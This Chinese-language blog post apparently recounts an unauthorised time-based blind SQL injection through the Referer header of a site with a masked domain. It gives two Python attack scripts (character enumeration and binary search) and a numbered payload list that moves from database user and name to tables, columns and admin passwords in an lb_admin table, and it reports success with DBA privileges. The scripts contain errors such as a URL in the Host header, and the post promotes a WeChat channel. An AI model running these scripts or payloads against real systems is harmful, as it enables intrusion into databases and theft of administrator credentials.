實戰滲透|一次巧合偶然的sql注入
一直以來,都想擺脫sqlmap的束縛,通過自定義腳本來完成
某月某天,挖盒子過程中,burpsuite掃出某個sqli,花了點時間測了下,確實有些搞頭。
是一個from子查詢payload,select*from(select sleep(10))a ,from會把后面的結果(在這里是子查詢)當作單表來查詢,

發包后,burpsuite返回包1154millls,存在sql注入,,不知道有多久沒手工注入了,放sqlmap看能不能跑點數據出來
如圖,referer注入設置level 3 ,time-base設置 technique T,跑不出注入點,欸,失望

明明有個注入點,就相當撕開了一個缺口,但遲遲找不到工具,一個人的孤獨,一個人的滲透
找了位盆友,寫了個枚舉盲注,
# -*- coding: utf-8 -*-
import requests,time
url="https://aBC.com.cn/aa/15432aa.html"
result=""
for i in range(1,50):
for j in range(32,128):
headers={"Referer":"https://aBC.com.cn/aa/15432aa.html/'+if(ascii(substr(user(),{},1))={},sleep(5),0)+'".format(i,j),
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
"Host":"https://aBC.com.cn/aa/15432aa.html"
}
st=time.time()
requests.get(url,headers=headers)
if time.time()-st >=5:
result+=chr(j)
print('database user name:',result)
break
else:
pass
本以為可以直接跑數據,但拿到腳本后,頻繁地爆format錯誤,耽擱了兩天后,吧format放到referer:"".format這個格式可以正常跑,,
準備了兩個探測payload: user()、database()
DBA權限

庫名

到這里為止,,做得都是很膚淺的注入,
sql注入永遠需要跑跑出字段和表才算一次比較合格的滲透,而上面這個腳本跑個庫名就跑了5分鐘,這里網上收集了某二分法,
關注公眾號:hack之道,回復關鍵詞:666,獲取最新滲透教程和工具。
枚舉的思路就是:
for i in range(1,50):
for j in range(32,128):
if(ascii(substr(user(),{i},1))={j},sleep(5),0) 通過枚舉j的值,從32到128,直到枚舉到128才進行下一輪
二分法的思路就是在j的區間做處理,減少j的取值,
low=32,high=128,mid=80,user(),{i},1通過比較是否小于80,具體縮小到某個小區間內。。
# -*- coding:utf-8 -*-
import requests,time
from requests import exceptions
url="https://aBC.com.cn/aa/15432aa.html"
def main():
result=""
for i in range(1, 20):
low = 32
high = 128
#1111
while low < high:
mid = int((low + high) / 2)
#content = "user()"
#sql = "https://https://aBC.com.cn/aa/'+if((ascii(substr(({content}),{i},1))<{mid}),sleep(5),0)+'"
headers={"Referer":"https://https://aBC.com.cn/aa/15432aa.html/'+if(ascii(substr(user(),{},1))<{},sleep(5),0)+'".format(i,mid),
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
"Host":"https://aBC.com.cn/aa/"
}
st=time.time()
requests.get(url,headers=headers)
#2222
if time.time()-st >5:
high = mid
else:
low = mid + 1
print("low value {} and high value {}".format(low,high))
#3333
#跑出結果后,值的處理
if low == high == 32:
print("[*] Result is: {}".format(result))
break
result += chr(int((high + low - 1) / 2))
print("database user :{}".format(result))
if __name__ == '__main__':
main()

大概就這樣,本來需要跑160次請求減少到只有4-5次,而且提高盲注率,,這樣就有了跑表和字段的資本。。
,那么跑字段的話,這里已經花了點小心思收集好了payload
01.payload=user()獲取數據庫用戶名
02.payload=database()獲取數據庫名
03(select table_name from information_schema.tables where table_schema=database() limit 0,1) 獲取當前數據庫的表
04.(select count(table_name) from information_schema.tables where table_schema=database() limit 0,1) 獲取當前數據庫表的個數
05.payload=(select count(column_name) from information_schema.columns where table_name=‘lb_admin’ limit 0,1)獲取表中列字段個數
06.payload=(select column_name from information_schema.columns where table_name=‘lb_admin’ limit 0,1)獲取表中列字段名
07.payload=(select a_password from lb_admin limit 0,1),{},1))<{} 獲取a_password第一個字段內容
08.payload=(select a_password from lb_admin limit 1,1),{},1))<{} 獲取a_password第二個字段內容
獲取DBA

獲取表名

獲取表中的列

獲取表中第二個列名

第三個列名password,
獲取a_username列字段內容

獲取a_password列字段內容

所以說,敢做就敢贏–《我是誰,“沒有絕對安全的系統”》
這里有些經驗:
爆表和字段,當前最需要的是payload,mysql的時間盲注每個人有很多理解,每個人寫的內容也不一樣
所以說,這樣來搜索‘select table_name from information_schema.tables where table_schema=database() limit 0,1’,搜索引擎會返回收錄的payload文章。